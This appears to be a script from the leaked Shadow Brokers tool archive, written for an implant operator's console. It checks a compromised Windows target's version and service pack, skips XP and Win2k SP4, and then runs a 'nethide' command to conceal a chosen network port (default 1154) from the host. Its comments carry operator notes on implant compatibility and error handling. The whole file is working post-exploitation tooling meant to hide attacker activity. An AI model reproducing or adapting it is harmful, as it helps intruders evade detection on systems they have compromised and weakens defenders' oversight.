shadowbrokers-exploits/windows/Resources/Ep/Scripts/nethide.eps
2017-04-14 11:45:07 +02:00

134 lines
No EOL
3.8 KiB
PostScript

# Called from simple.eps
##########################################################################################
# 25 Aug 03 - check to see if W2K SP 4 and don't run if it is. When DOORWAYNAPKIN is
# updated to handle this SP, we'll modify this script again
##########################################################################################
##########################################################################################
# 18 March 04 - tried to grab the output of nethide -list...couldn't get it right..so
# now big pause with a note to read the error message.
#
#
##########################################################################################
# 22 April 04 - Problem with XP boxes since RPC patches of EW/ES/EV. No running nethide on
# these targets.
#
##########################################################################################
# xx xxxxxx xx - Next iterations of changes....
#
##########################################################################################
@record on;
bool $nt4 = true;
bool $xp = false;
bool $dc = false;
bool $sp = false;
if (`systemversion`) {
int $major = GetCmdData("sysVerMajor");
if ($major != 4) {
$nt4 = false;
}
# Added to test for XP
if ($nt4 == false){
int $minor = GetCmdData("sysVerMinor");
if ($minor == 1) {
$xp = true;
echo "***************************************************************************";
echo "* XP -- NO NETHIDE *";
echo "***************************************************************************";
echo "";
return false;
}
}
int $product = GetCmdData("sysProduct");
if ($product == 2){
$dc = true;
}
# Added to Test for SP 4 on Win2k
if ($nt4 == false){
int $major = GetCmdData("sysSPMajor");
if ($major == 4) {
$sp = true;
}
if ($sp == true) {
echo "***************************************************************************";
echo "* Win2k SP4 - NO NETHIDE *";
echo "***************************************************************************";
echo "";
return false;
}
}
}
@record off;
string $portToHide="1154";
bool $showUsage=false;
if ($argc > 2) {
$showUsage = true;
}
if ($argc >= 2) {
if ($argv[1] == "?") {
$showUsage = true;
} else {
$portToHide=$argv[1];
}
}
#@record on;
#string $sNhString;
ifnot (prompt `nethide -list`){
#string $sNhString;
# $sNhString=GetCmdData("nhOutput");
#ifnot ($sNhString == "There are no hidden ports."){
@echo off;
`lpsetenv -option NhStatus -value "FAILED"`;
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
echo "Note the Error, if there are no hidden ports,";
echo "it's not really an error and you can continue this script.";
echo "";
echo "If it's a privilegeRunInKernelMode error, or a ";
echo "0xffffffff error, odds are portmap will fail later.";
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
ifnot (prompt "Continue this script?"){
return false;
}
#}
}
#@record off;
#string $nhOutput=GetCmdData("nhOutput");
#echo "nethide check gave this: $nhOutput";
#int $nhPort=GetCmdData("nhPort");
#
#int $i=0;
#while ($i < sizeof($nhPort)) {
# echo "Hidden: $nhPort[$i]";
# if ($nhPort[$i] == $portToHide) {
# echo "Your port is already hidden!";
# return true;
# }
# $i++;
#}
ifnot (prompt "Do you need to hide a port?") {
return true;
}
ifnot (prompt "Do you want to hide $portToHide?") {
$portToHide=GetInput("What port do you want to hide?");
}
`nethide -hide $portToHide`;
`nethide -list`;
return true;